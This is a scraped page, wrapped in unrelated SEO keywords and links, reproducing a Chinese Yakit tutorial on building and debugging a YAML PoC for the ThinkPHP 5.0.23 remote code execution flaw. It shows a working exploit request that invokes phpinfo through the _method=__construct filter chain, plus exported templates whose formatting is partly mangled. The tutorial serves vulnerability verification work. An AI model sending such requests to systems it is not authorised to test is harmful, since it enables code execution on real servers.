当前位置: 首页 > news >正文

网站开发知识产权归属成都兼职做网站

网站开发知识产权归属,成都兼职做网站,邯郸市信息港,后期网站开发在网络安全领域#xff0c;PoC#xff08;Proof of Concept#xff09;起着重要的作用#xff0c;并且在安全研究、漏洞发现和漏洞利用等方面具有重要的地位。攻击方视角下#xff0c;常常需要围绕 PoC 做的大量的工作。常常需要从手动测试开始编写 PoC#xff0c;再到实…在网络安全领域PoCProof of Concept起着重要的作用并且在安全研究、漏洞发现和漏洞利用等方面具有重要的地位。攻击方视角下常常需要围绕 PoC 做的大量的工作。常常需要从手动测试开始编写 PoC再到实际调试 PoC的正确性最后才能将编写完毕的 PoC 投入批量使用在此目前流程中各个阶段之间并没有很好的关联性相互之间不能 一键 完成需要从业人员花费不少不必要的工作时间。Yakit 为了解决这个问题在 Web Fuzzer 中带来了新的功能——一键导出PoC yaml 以及 联动的调试功能。打通 PoC 的工作流程让 PoC 可以真正地“免写”。本文将以编写一个 ThinkPHP 5.0.23版本的RCE漏洞的 PoC 为线索来介绍Yakit的 PoC 支持。 ThinkPHP是一款运用极广的PHP开发框架。其5.0.23以前的版本中获取method的方法中没有正确处理方法名导致攻击者可以调用Request类任意方法并构造利用链从而导致远程代码执行漏洞。 Web Fuzzer 手动验证 构造数据包 先来尝试使用Web Fuzzer 手动触发一个 ThinkPHP 的 RCE 漏洞。先在Web Fuzzer里构造一个可以触发漏洞的数据包 POST /index.php?scaptcha HTTP/1.1 Host: www.example.com Content-Type: application/x-www-form-urlencoded_method__constructfilter[]phpinfomethodgetserver[REQUEST_METHOD]1上述是一个可以执行 phpinfo 的测试数据包直接发送给目标可以触发一个 phpinfo 响应。 验证响应-匹配器 除了测试数据包外还需要有与测试数据对应的 预期响应以验证漏洞是否触发。 对以此漏洞一个比较合理的判断是响应页面同时有ThinkPHP、PHP Version和PHP Extension三个关键字的时候是成功用ThinkPHP RCE执行了phpinfo函数触发了漏洞。 在 Yakit Web Fuzzer 中可以使用匹配器来便捷地匹配数据、检查响应是否符合预期。匹配器位于 Web Fuzzer 的高级配置栏 匹配器三种匹配模式丢弃保留仅匹配。 丢弃丢弃模式会在符合匹配器时下丢弃返回包。保留保留模式会在符合匹配器时保留返回包剩余的返回包则直接丢弃。仅匹配仅匹配模式会在符合匹配器时将对应的返回包染色而不做其他操作。选中此模式一旁出现的色点既是染色使用的颜色 直接来使用匹配器来匹配上述测试数据包的预期数据 点击添加匹配器在页面右下角会弹出匹配器详细设置页面 详细设置页面十分简单明了支持五种匹配模式、四种匹配范围以及两种匹配关系。上述数据包的匹配规则可以表达为AND关系在全部响应中匹配三个关键字在匹配器中即可如下设置。 点击应用匹配器即可生效。重新发送数据包会提示数据包成功匹配 至此已经完成了手动测试一个数据包以及匹配预期响应的流程在 Web Fuzzer 手动发包已经成功完成了一次漏洞验证有了构造PoC的基础。 Web Fuzzer 自动导出 PoC PoC的作用当然不能限制在单次的手动测试中它的作用是通过提炼一个手动测试的流程来自动化验证某个漏洞上一节里在Web Fuzzer完成了手动测试ThinkPHP RCE漏洞的部分接下来就需要将这次手动测试提炼成一个可以重复使用的 PoC 文件。 在 Web Fuzzer右上角处有两个按钮分别对应直接导出 PoC和转到调试 PoC。 PoC****结构 这里导出和调试的PoC使用的是 Yakit 兼容的 nuclei PoC 模板。点击导出 PoC 上面的手动测试的流程被保存为如下的 PoC Yaml。 支持 Raw 和 Path 两种模式可自由选择 // Raw 模式 id: WebFuzzer-Template-UuMDryDUinfo:name: WebFuzzer Template UuMDryDUauthor: godseverity: lowdescription: write your description herereference:- https://github.com/- https://cve.mitre.org/metadata:max-request: 1shodan-query: verified: trueyakit-info:sign: 4a59ba760cdf626429aa3c22ab3dcfa0http: - raw:- |-timeout: 30sPOST /index.php?scaptcha HTTP/1.1Host: {{Hostname}}Content-Type: application/x-www-form-urlencodedContent-Length: 72_method__constructfilter[]phpinfomethodgetserver[REQUEST_METHOD]1max-redirects: 3matchers-condition: andmatchers:- type: wordwords:- ThinkPHP- PHP Version- PHP Extensioncondition: and// Path 模式 id: WebFuzzer-Template-oZqWchulinfo:name: WebFuzzer Template oZqWchulauthor: godseverity: lowdescription: write your description herereference:- https://github.com/- https://cve.mitre.org/metadata:max-request: 1shodan-query: verified: trueyakit-info:sign: 69a05e9c6fc674153565cbbe1e868464http: - method: POSTpath:- {{RootUrl}}index.phpheaders:Content-Type: application/x-www-form-urlencodedHost: 172.29.228.154:8080body: _method__constructfilter[]phpinfomethodgetserver[REQUEST_METHOD]1max-redirects: 3matchers-condition: andmatchers:- type: wordwords:- ThinkPHP- PHP Version- PHP Extensioncondition: andyakit sign 此 Yaml PoC 有一个特殊的字段yakit-info:sign。顾名思义这是一个签名一个用于保护 PoC 数据正确性、完整性的签名。对 PoC 内的重要数据进行签名包括 raw 、method、headers… 在 Yakit 插件生态中上述的 PoC 是可以作为一种插件被用户方便地使用的但是作为一个纯文本的数据很难验证本身是否被错误地改动。而这个签名字段的作用即是验证此 PoC 是否被意外改动。 在批量执行的插件的情况下也可以用通过对签名的验证来筛选出可以信赖的插件很大程度上避免了本地插件被意外修改导致验证失败的问题。 PoC****调试 PoC 显然是不能不经调试检验直接使用的在上一步中提炼除了 Yaml PoC 还需要把 PoC进行进一步的调试来测试 PoC的完善性。在 Web Fuzzer 页面中点击右上角的生成 Yaml 模板按钮即可将当前 Web Fuzzer 的配置生 Yaml PoC 并且调整到插件调试页面方便师傅们进一步调试。 调试页面可以对 Yaml PoC 插件进行测试通过测试不同的目标来验证检查其完善性。 一旁的配置调试请求栏中可以设置不同的调试目标支持域名、IP、URL。配置调试目标完成之后点击执行即可看到本次的调试流量、插件信息以及控制台输出 经过详细地调试之后在调试插件的右上角有存为插件的按钮点击即可将当前调试的 Yaml PoC 保存为插件让此 PoC 正式成为一个可以批量使用的插件。 总结 至此通过 Yakit 的导出与调试 Yaml PoC 功能我们很简便的完成了一个批量使用的 PoC 编写期间除了最开始的构造数据包部分需要人工手动测试其余阶段 Yakit 都自动化完成了。
http://www.hkea.cn/news/14283565/

相关文章:

  • 网站的关键词策略wordpress宝宝模板
  • 简述网站建设方案类型微信手机网站源码
  • 商务网站的特点金数字网站建设
  • 网站logo更换注册了域名之后如何建立一个网站
  • 做汽车网站怎么挣钱推广网站广告有哪些
  • 在线动画手机网站模板下载东道设计logo
  • 泉州网站建设哪里优惠清新wordpress主题
  • 备案网站名称怎么写手机建网站软件
  • 购物网站开发 需求分析莱芜网络推广公司排行
  • 查询网站流量网站建设与维护典型案例
  • 中国建设网官网网站网站 服务器 域名
  • 企业网站策划书下载网站建设公司自适应源码
  • 邢台做外贸网站wordpress 吧
  • 北京网站设计公司排行榜公司网站的主页优化
  • 上海 网站开发 工作室wordpress 评论框登陆
  • 做音乐网站的目的西安移动网站建设
  • 上海公司网站备案昊客网络
  • 电脑网站素材网站导航条设计欣赏
  • 网站建站网站微信公众号开发wordpress零基础建站
  • 临汾推广型网站建设网页设计移动端尺寸大小
  • 聊城网站建设售后服务面料详情页设计模板
  • 邯郸建设企业网站wordpress线报主题
  • 天河外贸网站建设免费微网站建设平台
  • 如何进行网站宣传推广wordpress列表插件
  • 深圳建站服务中心大型网络建站公司
  • 网站建设如何添加歌曲怎样免费建立自己的网站
  • 北京网站制作开发公司番禺网站建设公司
  • 做兼职的网站策划书WordPress抓去微信
  • 网站建设怎么让百度搜索到跨境电商公司招聘岗位及要求
  • 买个购物网站网站怎么管理维护